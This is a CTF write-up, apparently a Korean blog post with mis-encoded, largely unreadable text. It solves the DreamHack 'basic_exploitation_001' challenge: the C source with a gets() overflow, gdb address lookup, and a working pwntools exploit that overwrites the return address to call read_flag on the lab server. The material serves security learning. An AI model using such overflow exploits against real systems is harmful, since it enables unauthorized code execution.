checksec์ผ๋ก ํ์ผ ๋ณดํธ ๊ธฐ๋ฒ๋ค ํ์ธ
NX(No-eXecute) ๋ณดํธ ๊ธฐ๋ฒ์ด ํ์ฑํ๋์ด ์์ผ๋ฏ๋ก, ์ ์ฝ๋๋ ์คํ๋์ง ์์ง๋ง, Stack Canary๊ฐ ํ์ฑํ๋์ง ์์ ๊ฒ์ผ๋ก ๋ณด์ Return Address Overwrite์ ์ทจ์ฝํ๋ค๋ ๊ฒ์ ์ ์ ์๋ค.
basic_exploitation_001.c ๋ถ์
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void read_flag() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
gets(buf);
return 0;
}
๋ฌธ์ ์์ ์ ๊ณตํ๋ ์์ค ํ์ผ์ ๋ณด๋ฉด
์ฌ์ฉ์๋ก๋ถํฐ 0x80(128 ๋ฐ์ดํธ) ์ฌ์ด์ฆ ๋งํผ ํ ๋น๋ buf ๋ณ์์๋ค gets ํจ์๋ก ์ ๋ ฅ์ ๋ฐ๋๋ค.
read_flag()๋ผ๋ ํ๋๊ทธ ํ์ผ์ ์ฝ๋ ํจ์๊ฐ ์กด์ฌํ๋๋ฐ main ํจ์์์ ํธ์ถํ์ง ์๊ณ ์๋ค.
128 ๋ฐ์ดํธ ํฌ๊ธฐ buf + SFP (4 ๋ฐ์ดํธ) + RET (4 ๋ฐ์ดํธ)์ ๋ฐ๋ผ์ buf๋ '\90'์ 132๊ฐ๋ฅผ ์ฑ์ฐ๊ณ ๋๋จธ์ง 4๋ฐ์ดํธ๋ read_flag ํจ์์ ์์น๋ฅผ ์ ์ด์ฃผ๋ฉด main ํจ์๊ฐ ๋๋ ๋ ์ํ๋ ์์น๋ก ์ด๋์ ํ ์ ์๋ค.
gdb๋ก read_flag() ์ฃผ์ ์ฐพ๊ธฐ
gdb๋ก ์คํ ํ์ผ์ ํจ์ ์ด๋ฆ๊ณผ ๊ทธ ํจ์์ ์ฃผ์๋ฅผ ์ฐพ๊ธฐ ์ํด์๋ info functions๋ฅผ ์ ๋ ฅํ๋ฉด ๋๋ค.
read_flag ์ฃผ์๋ "0x080485b9"์ด๋ค.
pwntools๋ก ํ์ด๋ก๋ ์์ฑ
์ ์ ๋ณด๋ฅผ ํ ๋๋ก ํ์ด๋ก๋๋ฅผ ์์ฑํด ๋๋ฆผํต์ ์๋ฒ๋ก ์ ์กํ์ฌ ํ๋๊ทธ๋ฅผ ์ฝ๋ ํ์ด์ฌ ์ฝ๋๋ฅผ ์์ฑํด๋ณด์๋ค.
from pwn import *
rem = remote('host2.dreamhack.games', 17814)
payload = b"\x90"*132
payload += p32(0x080485B9)
rem.sendline(payload)
rem.interactive()
payload = b"\x90" * 132 <- \x90(NOP: No Operation)์ผ๋ก 132 ๋ฐ์ดํธ๋ฅผ ์ฑ์
payload += p32(0x080485B9) <- p32๋ 32bit little endian์ผ๋ก packing ํ๋ ํจ์์ด๋ค.
์ฐธ๊ณ :
Pwntools ๊ธฐ๋ณธ์ ์ธ ์ฌ์ฉ๋ฒ - 2
์ด๋ฒ์๋ ์ต์คํ ๋ ์ฃผ๋ก ์ฌ์ฉํ๋๊ฒ์ ์จ๋ณผ๊ฒ๋๋ค ๋จผ์ ํจํน ๊ด๋ จ ํจ์๋ค ์ ๋๋ค. 1. packing 1-1. p32 32bit little endian ์ผ๋ก packing ํด์ฃผ๋ ํจ์์ ๋๋ค. p32(int) / return str ex ) p32(0x12345678) => \x78\x56\x34\x12
lclang.tistory.com
FLAG ํ๋
์์ฑํ ํ์ผ์ ์คํํ๊ฒ ๋๋ฉด ํ๋๊ทธ ํ๋์ ์ฑ๊ณตํ๊ฒ ๋๋ค.
'๐ดCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
DreamHack - Return Address Overwrite (0) | 2023.04.30 |
---|---|
DreamHack - basic_exploitation_000 ํ์ด (0) | 2023.04.26 |
DreamHack - login-1 ํ์ด (0) | 2023.03.27 |
DreamHack - node-serialize (nodejs ์ง๋ ฌํ ์ทจ์ฝ์ ) ํ์ด (0) | 2023.03.27 |
Dreamhack - ์๊ฒ์, Mango ํ์ด (0) | 2021.12.09 |